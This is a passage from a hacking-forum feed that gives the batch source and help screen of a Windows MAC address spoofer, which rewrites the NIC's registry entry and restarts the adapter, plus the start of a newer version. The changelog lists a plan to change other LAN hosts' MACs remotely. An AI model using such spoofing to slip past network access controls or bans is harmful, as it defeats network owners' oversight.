echo&nbsp;&nbsp; [MAC]MAC address you want to assume (only with -s)<br />
echo&nbsp;&nbsp; -v&nbsp;&nbsp; Verbose mode<br />
goto end<br />
<br />
:arg1<br />
if /i "%arg1%"=="-h" goto help<br />
if /i "%arg1%"=="-d" goto ipconfig<br />
if /i "%arg1%"=="-a" goto mac<br />
if /i "%arg1%"=="-l" goto arp<br />
if /i "%arg1%"=="-m" goto assoc<br />
if /i "%arg1%"=="-s" goto spoof<br />
if /i "%arg1%"=="-r" goto unspoof<br />
:err<br />
echo Syntax error^!<br />
goto end<br />
<br />
:help<br />
echo&nbsp;&nbsp;macspoofer [-h ^| -d ^| -a ^| -l ^| -m [IP] ^| -s [KEY] ^| -r [KEY]] [-c [CON]]<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-n [MAC]] [-v]<br />
echo.<br />
echo&nbsp;&nbsp; If no arguments are specified, a brief help message is shown<br />
echo.<br />
echo&nbsp;&nbsp; -h&nbsp;&nbsp; Show an extended help message<br />
echo&nbsp;&nbsp; -d&nbsp;&nbsp; View detailed IP and MAC information for current host<br />
echo&nbsp;&nbsp; -a&nbsp;&nbsp; View all MAC addresses for current host<br />
echo&nbsp;&nbsp; -l&nbsp;&nbsp; View other MAC and IP addresses on the LAN<br />
echo&nbsp;&nbsp; -m&nbsp;&nbsp; Get MAC address for given local IP (you can't use your own IP)<br />
echo.<br />
echo&nbsp;&nbsp; [IP] Internal IP address to get associated MAC address of<br />
echo.<br />
echo&nbsp;&nbsp; -s&nbsp;&nbsp; Spoof current MAC and local IP addresses<br />
echo&nbsp;&nbsp; -r&nbsp;&nbsp; Restore original MAC and IP addresses<br />
echo.<br />
echo&nbsp;&nbsp; [KEY]Keyword that is part of the NIC's name you want to spoof or restore<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;It should be an identifying word (it might be the whole name too)<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;To specify more words as argument enclose them in double quotes ("e. g.")<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;You can also create a file called "keyword.txt" in the current directory<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;to have macspoofer use its content as default keyword<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;You might still specify [KEY] to use a different key from the default one<br />
echo&nbsp;&nbsp; -c&nbsp;&nbsp; Specify your connection name in order to automatically restart the NIC<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(Please, note your connection name does not mean your NIC's name)<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If you do not specify it, you will need to restart your NIC manually to<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;see any changes in your MAC address<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;To specify more words as argument enclose them in double quotes ("e. g.")<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;You can make a file called "con.txt" in the current directory to use its<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;content as default connection name<br />
echo.<br />
echo&nbsp;&nbsp; [CON]Connection name (e.g: Connection to local area network (LAN))<br />
echo.<br />
echo&nbsp;&nbsp; -n&nbsp;&nbsp; Specify a new MAC address to assume (only with -s)<br />
echo.<br />
echo&nbsp;&nbsp; [MAC]MAC address you want to assume<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If -n is omitted the MAC address used is 001122334455<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Please, note that if you enter an invalid MAC address spoofing will fail<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Allowed formats are 001122334455 and 00:00:00:00:00:00 (12 digits)<br />
echo.<br />
echo&nbsp;&nbsp; -v&nbsp;&nbsp; Verbose mode<br />
goto end<br />
<br />
:ipconfig<br />
set ipconf=ipconfig<br />
if /i "%2"=="-v" set ipconf=ipconfig /all<br />
%ipconf%<br />
goto end<br />
<br />
:mac<br />
&lt; nul set /p var=Please, wait...<br />
set getmac=getmac<br />
if /i "%2"=="-v" set getmac=getmac -v<br />
%getmac%<br />
goto end<br />
<br />
:arp<br />
set arp=arp -a<br />
if /i "%2"=="-v" set arp=arp -a -v<br />
%arp%<br />
goto end<br />
<br />
:assoc<br />
set check=<br />
set check=%2<br />
if not defined check goto noize<br />
for %%a in (1 2 3 4 5 6 7 8 9 0) do if "%check:~0,1%"=="%%a" goto skipassoc<br />
:noize<br />
echo Invalid IP address.<br />
goto end<br />
:skipassoc<br />
arp -a %2<br />
goto end<br />
<br />
:spoof<br />
set newmac=<br />
if /i "%2"=="-n" set newmac=%3<br />
if /i "%3"=="-n" set newmac=%4<br />
if /i "%4"=="-n" set newmac=%5<br />
if /i "%5"=="-n" set newmac=%6<br />
if /i "%6"=="-n" set newmac=%7<br />
if not defined newmac (<br />
&nbsp;&nbsp;&nbsp;&nbsp;set newmac=001122334455<br />
) else (<br />
&nbsp;&nbsp;&nbsp;&nbsp;set newmac=%newmac::=%<br />
)<br />
set keyword=<br />
set keycheck=%2<br />
if exist keyword.txt for /f "delims=" %%j in ('type keyword.txt') do set keyword=%%j<br />
if defined keycheck set keyword=%keycheck%<br />
if defined keyword goto skip<br />
set /p keyword="Enter a keyword that is part of your NIC's name only: "<br />
:skip<br />
echo.<br />
echo Please, wait...<br />
reg query HKLM&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92; /v DriverDesc /s | find /i "%keyword%" 2&gt;nul &gt; nul<br />
if not "%errorlevel%"=="0" echo Couldn't find the NIC with keyword. &amp; goto end<br />
set i=0<br />
:keyloop<br />
set /a i=i+1<br />
if %i% LSS 10 set n=000%i%<br />
if %i% GTR 9 set n=00%i%<br />
if %i% GTR 99 set n=0%i%<br />
if %i% GTR 999 set n=%i%<br />
reg query HKLM&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92;%n% /v DriverDesc /s | find /i "%keyword%" 2&gt;nul &gt; nul<br />
if "%errorlevel%"=="0" goto quitloop<br />
goto keyloop<br />
:quitloop<br />
reg add "HKEY_LOCAL_MACHINE&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92;%n%" /v "NetworkAddress" /d "%newmac%" /f 2&gt;nul &gt; nul<br />
if not "%errorlevel%"=="0" goto spooffailed<br />
set con=<br />
if exist "con.txt" for /f "delims= tokens=*" %%k in ('type con.txt') do set con=%%k<br />
if /i "%2"=="-c" set con=%3<br />
if /i "%3"=="-c" set con=%4<br />
if /i "%4"=="-c" set con=%5<br />
if /i "%5"=="-c" set con=%6<br />
if /i "%6"=="-c" set con=%7<br />
if not defined con echo Your MAC address was successfully changed. &amp; echo You'll need to manually restart your NIC to see any changes. &amp; goto end<br />
<br />
ver | find "XP" &gt; nul<br />
if %ERRORLEVEL%==0 goto skipnetsh1<br />
<br />
netsh interface set interface "%con%" admin=DISABLED<br />
netsh interface set interface "%con%" admin=ENABLED<br />
goto done1<br />
<br />
:skipnetsh1<br />
if exist macspooferbynoize.vbs del macspooferbynoize.vbs /f /q &gt; nul<br />
echo Const ssfCONTROLS = 3 &gt;&gt; macspooferbynoize.vbs<br />
echo sConnectionName = "%con%" &gt;&gt; macspooferbynoize.vbs<br />
echo sEnableVerb = "En^&amp;able" &gt;&gt; macspooferbynoize.vbs<br />
echo sDisableVerb = "Disa^&amp;ble" &gt;&gt; macspooferbynoize.vbs<br />
echo set shellApp = createobject("shell.application") &gt;&gt; macspooferbynoize.vbs<br />
echo set oControlPanel = shellApp.Namespace(ssfCONTROLS) &gt;&gt; macspooferbynoize.vbs<br />
echo set oNetConnections = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo for each folderitem in oControlPanel.items &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if folderitem.name = "Network Connections" then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oNetConnections = folderitem.getfolder: exit for &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo next &gt;&gt; macspooferbynoize.vbs<br />
echo if oNetConnections is nothing then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; msgbox "Failed to find 'Network Connections'." &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; wscript.quit &gt;&gt; macspooferbynoize.vbs<br />
echo end if &gt;&gt; macspooferbynoize.vbs<br />
echo set oLanConnection = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo for each folderitem in oNetConnections.items &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if lcase(folderitem.name) = lcase(sConnectionName) then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oLanConnection = folderitem: exit for &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo next &gt;&gt; macspooferbynoize.vbs<br />
echo if oLanConnection is nothing then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; msgbox "Failed to find '" ^&amp; sConnectionName ^&amp; "'." &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; wscript.quit &gt;&gt; macspooferbynoize.vbs<br />
echo end if &gt;&gt; macspooferbynoize.vbs<br />
echo bEnabled = true &gt;&gt; macspooferbynoize.vbs<br />
echo set oEnableVerb = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo set oDisableVerb = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo for each verb in oLanConnection.verbs &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if verb.name = sEnableVerb then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oEnableVerb = verb &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bEnabled = false &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if verb.name = sDisableVerb then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oDisableVerb = verb &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo next &gt;&gt; macspooferbynoize.vbs<br />
echo if bEnabled then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; oDisableVerb.DoIt() &gt;&gt; macspooferbynoize.vbs<br />
echo else &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; oEnableVerb.DoIt &gt;&gt; macspooferbynoize.vbs<br />
echo end if &gt;&gt; macspooferbynoize.vbs<br />
echo wscript.sleep 500 &gt;&gt; macspooferbynoize.vbs<br />
call macspooferbynoize.vbs<br />
if exist macspooferbynoize.vbs del macspooferbynoize.vbs /f /q &gt; nul<br />
goto done1<br />
<br />
:spooffailed<br />
echo.<br />
echo Failed to change your MAC address.<br />
echo Run the program again with administrator privileges.<br />
goto end<br />
<br />
:unspoof<br />
set keyword=%2<br />
if defined keyword goto isdef<br />
:looper<br />
set /p keyword="Enter a keyword that is part of your NIC's name: "<br />
echo.<br />
if not defined key goto looper<br />
:isdef<br />
echo.<br />
echo Please, wait...<br />
reg query HKLM&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92; /v DriverDesc /s | find /i "%keyword%" 2&gt;nul &gt; nul<br />
if not "%errorlevel%"=="0" echo Couldn't find the NIC with keyword. &amp; goto end<br />
set i=0<br />
:keyloop2<br />
set /a i=i+1<br />
if %i% LSS 10 set n=000%i%<br />
if %i% GTR 9 set n=00%i%<br />
if %i% GTR 99 set n=0%i%<br />
if %i% GTR 999 set n=%i%<br />
reg query HKLM&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92;%n% /v DriverDesc /s | find /i "%keyword%" 2&gt;nul &gt; nul<br />
if "%errorlevel%"=="0" goto quitloop2<br />
goto keyloop2<br />
:quitloop2<br />
reg query "HKEY_LOCAL_MACHINE&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92;%n%" /v "NetworkAddress" 2&gt;nul &gt; nul<br />
if not "%errorlevel%"=="0" echo. &amp; echo This NIC's MAC address has not been spoofed yet. &amp; echo Restore failed. &amp; goto end<br />
set con=<br />
if exist "con.txt" for /f "delims= tokens=*" %%k in ('type con.txt') do set con=%%k<br />
if /i "%2"=="-c" set con=%3<br />
if /i "%3"=="-c" set con=%4<br />
if /i "%4"=="-c" set con=%5<br />
if /i "%5"=="-c" set con=%6<br />
if /i "%6"=="-c" set con=%7<br />
reg delete "HKEY_LOCAL_MACHINE&#92;SYSTEM&#92;CurrentControlSet&#92;Control&#92;Class&#92;{4D36E972-E325-11CE-BFC1-08002bE10318}&#92;%n%" /v "NetworkAddress" /f 2&gt;nul &gt; nul<br />
if not "%errorlevel%"=="0" goto spooffailed<br />
if not defined con goto skipnic1<br />
<br />
ver | find "XP" &gt; nul<br />
if %ERRORLEVEL%==0 goto skipnetsh<br />
<br />
netsh interface set interface "%con%" admin=DISABLED<br />
netsh interface set interface "%con%" admin=ENABLED<br />
goto skipnic<br />
<br />
:skipnetsh<br />
if exist macspooferbynoize.vbs del macspooferbynoize.vbs /f /q &gt; nul<br />
echo Const ssfCONTROLS = 3 &gt;&gt; macspooferbynoize.vbs<br />
echo sConnectionName = "%con%" &gt;&gt; macspooferbynoize.vbs<br />
echo sEnableVerb = "En^&amp;able" &gt;&gt; macspooferbynoize.vbs<br />
echo sDisableVerb = "Disa^&amp;ble" &gt;&gt; macspooferbynoize.vbs<br />
echo set shellApp = createobject("shell.application") &gt;&gt; macspooferbynoize.vbs<br />
echo set oControlPanel = shellApp.Namespace(ssfCONTROLS) &gt;&gt; macspooferbynoize.vbs<br />
echo set oNetConnections = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo for each folderitem in oControlPanel.items &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if folderitem.name = "Network Connections" then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oNetConnections = folderitem.getfolder: exit for &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo next &gt;&gt; macspooferbynoize.vbs<br />
echo if oNetConnections is nothing then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; msgbox "Failed to find 'Network Connections'." &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; wscript.quit &gt;&gt; macspooferbynoize.vbs<br />
echo end if &gt;&gt; macspooferbynoize.vbs<br />
echo set oLanConnection = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo for each folderitem in oNetConnections.items &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if lcase(folderitem.name) = lcase(sConnectionName) then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oLanConnection = folderitem: exit for &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo next &gt;&gt; macspooferbynoize.vbs<br />
echo if oLanConnection is nothing then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; msgbox "Failed to find '" ^&amp; sConnectionName ^&amp; "'." &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; wscript.quit &gt;&gt; macspooferbynoize.vbs<br />
echo end if &gt;&gt; macspooferbynoize.vbs<br />
echo bEnabled = true &gt;&gt; macspooferbynoize.vbs<br />
echo set oEnableVerb = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo set oDisableVerb = nothing &gt;&gt; macspooferbynoize.vbs<br />
echo for each verb in oLanConnection.verbs &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if verb.name = sEnableVerb then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oEnableVerb = verb &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bEnabled = false &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; if verb.name = sDisableVerb then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set oDisableVerb = verb &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; end if &gt;&gt; macspooferbynoize.vbs<br />
echo next &gt;&gt; macspooferbynoize.vbs<br />
echo if bEnabled then &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; oDisableVerb.DoIt() &gt;&gt; macspooferbynoize.vbs<br />
echo else &gt;&gt; macspooferbynoize.vbs<br />
echo&nbsp;&nbsp;&nbsp;&nbsp; oEnableVerb.DoIt &gt;&gt; macspooferbynoize.vbs<br />
echo end if &gt;&gt; macspooferbynoize.vbs<br />
echo wscript.sleep 500 &gt;&gt; macspooferbynoize.vbs<br />
call macspooferbynoize.vbs<br />
if exist macspooferbynoize.vbs del macspooferbynoize.vbs /f /q &gt; nul<br />
goto skipnic<br />
<br />
:skipnic1<br />
echo MAC and local IP addresses were successfully restored.<br />
echo You will need to manually restart your NIC before you can see any changes.<br />
goto end<br />
<br />
:done1<br />
echo MAC was successfully changed.<br />
goto end<br />
<br />
:skipnic<br />
echo MAC and local IP addresses were successfully restored.<br />
<br />
:end</code></div></div>
<br />
Save the code as macspoofer.bat so that you can use the usage:<br />
<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>macspoofer [OPTIONS]</code></div></div>
<br />
Main screen (cmd /k macspoofer):<br />
<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>.<br />
&nbsp;&nbsp; ##########################################################################<br />
&nbsp;&nbsp; #&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Noize's Mac Address Spoofer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br />
&nbsp;&nbsp; #&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v2.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br />
&nbsp;&nbsp; #&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br />
&nbsp;&nbsp; #&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Coded by Noize at HackCommunity.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br />
&nbsp;&nbsp; ##########################################################################<br />
<br />
 macspoofer [-h | -d | -a | -l | -m [IP] | -s [KEY] | -r [KEY]] [-c [CON]]<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-n [MAC]] [-v]<br />
<br />
&nbsp;&nbsp;-h&nbsp;&nbsp; Show an extended help message<br />
&nbsp;&nbsp;-d&nbsp;&nbsp; View detailed IP and MAC information for current host<br />
&nbsp;&nbsp;-a&nbsp;&nbsp; View all MAC addresses for current host<br />
&nbsp;&nbsp;-l&nbsp;&nbsp; View other MAC and IP addresses on the LAN<br />
&nbsp;&nbsp;-m&nbsp;&nbsp; Get MAC address for given local IP (you can't use your own IP)<br />
&nbsp;&nbsp;[IP] Internal IP address to get associated MAC address of<br />
&nbsp;&nbsp;-s&nbsp;&nbsp; Spoof current MAC and local IP addresses<br />
&nbsp;&nbsp;-r&nbsp;&nbsp; Restore original MAC and IP addresses<br />
&nbsp;&nbsp;[KEY]Keyword that is part of the NIC's name you want to spoof or restore<br />
&nbsp;&nbsp;-c&nbsp;&nbsp; Specify your connection name in order to automatically restart the NIC<br />
&nbsp;&nbsp;[CON]Connection name (e.g: Connection to local area network (LAN))<br />
&nbsp;&nbsp;[MAC]MAC address you want to assume (only with -s)<br />
&nbsp;&nbsp;-v&nbsp;&nbsp; Verbose mode</code></div></div>
<br />
This is an open-source free project and you are allowed to re-use the code, edit the code and give away for free the code as long as you give credits.<br />
<span style="font-size: large;"><span style="color: red;"><br />
Any feedback or (especially) bug report is highly appreciated.<br />
</span></span><br />
<hr />
<span style="color: lightblue;"><br />
<span style="font-size: x-small;"><span style="font-family: verdana;"><span style="font-weight: bold;">Todo list:</span></span><br />
 - change MAC address of other hosts in the LAN remotely.<br />
</span></span>]]></description>
			<content:encoded><![CDATA[<span style="font-size: large;"><span style="color: lightgreen;">Windows MAC address spoofer</span></span><br />
<span style="color: #B0B0B0;"><span style="font-size: x-small;">You can find the old version here: <a href="http://www.hackcommunity.com/Thread-MAC-and-IP-addresses-spoofer" target="_blank"><span style="color: #94c2ff;">1.0/1.1</span></a>.</span></span><br />
<br />
<span style="font-size: medium;"><span style="color: lightgreen;">Latest version: 2.1</span></span><br />
<br />
<span style="color: lightblue;"><span style="font-weight: bold;">Change-log:</span></span><span style="font-size: x-small;"><br />
- ping option (host inside or outside the LAN with IP address or host name (e.g: - <span style="font-weight: bold;">www.google.com</span> | <span style="font-weight: bold;">noizepc</span> | <span style="font-weight: bold;">127.0.0.1</span>));<br />
- install/uninstall (after installation you can call macspoofer from any script or directory path (shell)).<br />
</span><br />
<span style="font-size: large;"><span style="color: lightgreen;">Source code</span></span><br />
<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>@echo off<br />
pushd %~dp0<br />
<br />
:::::::::::::::::::::::::<br />
<br />
:: Mac Address Spoofer ::<br />
<br />
:::::::::::::::::::::::::<br />
<br />
echo.<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;##########################################################################<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Noize's Mac Address Spoofer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v2.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Coded by Noize at HackCommunity.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;##########################################################################<br />
echo.<br />
<br />
set arg1=%1<br />
if /i "%arg1%"=="-help" set arg1=<br />
if defined arg1 goto arg1<br />
<br />
echo&nbsp;&nbsp;macspoofer [-h ^| -d ^| -a ^| -l ^| -m [IP] ^| -p [HOST] ^| -s [KEY] ^| -r [KEY]]<br />
echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [-c [CON]] [-n [MAC]] [-v]<br />
echo.<br />
echo&nbsp;&nbsp; -h&nbsp;&nbsp; Show an extended help message<br />
echo&nbsp;&nbsp; -d&nbsp;&nbsp; View detailed IP and MAC information for current host<br />
